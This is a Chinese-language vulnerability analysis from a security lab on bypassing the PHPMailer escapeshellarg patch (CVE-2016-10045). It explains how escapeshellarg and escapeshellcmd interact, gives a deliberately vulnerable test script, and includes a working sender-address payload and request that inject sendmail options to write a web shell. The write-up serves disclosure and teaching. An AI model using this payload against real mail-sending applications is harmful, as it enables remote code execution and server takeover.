Author: Hcamael, p0wd3r (知道创宇404安全实验室)

Date: 2016-12-28

0x00 简介

前两天爆出了 PHPMailer 小于 5.2.18 版本的 RCE 漏洞,官方在补丁中使用了escapeshellarg来防止注入参数,但有趣的是经过测试我们发现该补丁是可以被绕过的,并且攻击面可以延伸到更大而不仅仅是局限于这个应用。

0x01 漏洞复现

环境搭建

Dockerfile:

FROM php:5.6-apache

RUN apt-get update && apt-get install -y sendmail

RUN echo 'sendmail_path = "/usr/sbin/sendmail -t -i"' > /usr/local/etc/php/php.ini  

提前下载好源码,在源码根目录下添加测试文件 1.php:

<?php  
require('PHPMailerAutoload.php');

$mail = new PHPMailer;
$mail->setFrom($_GET['x'], 'Vuln Server');
$mail->Subject = 'subject';
$mail->addAddress('c@d.com', 'attacker');
$mail->msgHTML('test');
$mail->AltBody = 'Body';

$mail->send();
?>

shell:

docker build -t bypass-test .  
docker run --rm --hostname xxx.xxx --name vuln-phpmail -p 127.0.0.1:8080:80  -v /tmp/PHPMailer-5.2.19:/var/www/html bypass-test  

复现

PHPMailer 对之前的漏洞做了如下补丁:

Alt text

即对输入使用escapeshellarg处理,最新版本中使用之前的 payload 攻击是失败的,例如:a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com,但是经小伙伴的测试,在最新版中可以使用这个 payload:a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com,结果如下:

访问http://127.0.0.1:8080/1.php?x=a%27(%20-OQueueDirectory=/tmp%20-X/var/www/html/x.php%20)@a.com,shell 成写入:

Alt text

根据调试的结果,我们可以看到参数确实被escapeshellarg处理过了:

Alt text

那么为什么用了'就会在这里绕过escapeshellarg的限制呢?

我们看一下mail的代码:https://github.com/php/php-src/blob/PHP-5.6.29/ext/standard/mail.c ,其中第167-177行如下:

if (force_extra_parameters) {  
    extra_cmd = php_escape_shell_cmd(force_extra_parameters);
} else if (extra_cmd) {
    extra_cmd = php_escape_shell_cmd(extra_cmd);
}

if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {  
    RETVAL_TRUE;
} else {
    RETVAL_FALSE;
}

可见参数在mail中又经过了escapeshellcmd的处理,将整个过程进行简化:

Alt text

可见两个函数配合使用就会导致多个参数的注入。

我们详细分析一下:

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(-OQueueDirectory=/tmp-X/var/www/html/test.php)@a.com',最终的参数就是这样被注入的。

谁的锅?

仔细想想其实这可以算是escapeshellargescapeshellcmd的设计问题,因为先转义参数再转义命令是很正常的想法,但是它们在配合时并没有考虑到单引号带来的隐患。

在 PHPMailer 的这次补丁中,作者使用escapeshellarg意在防止参数注入,但是却意外的为新漏洞打了助攻,想想也是很有趣的 xD。

攻击面

如果应用使用escapeshellarg -> escapeshellcmd这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。

如果可以注入参数,那利用就是各种各样的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的参数注入的例子。

有一点需要注意的是,由于注入的命令中会带有中间的\和最后的',有可能会影响到命令的执行结果,还要结合具体情况再做分析。

如果上述有哪些地方有问题,欢迎大家指正 :)

0x02 时间线

  • 2016/12/28 知道创宇404安全实验室发现 Bypass 并整理文档
  • 2016/12/28 发现 Dawid Golunski 也发现了Bypass 并申请了 CVE,对应编号 CVE-2016-10045
  • 2016/12/28 截止目前官方并未发布更新

0x03 参考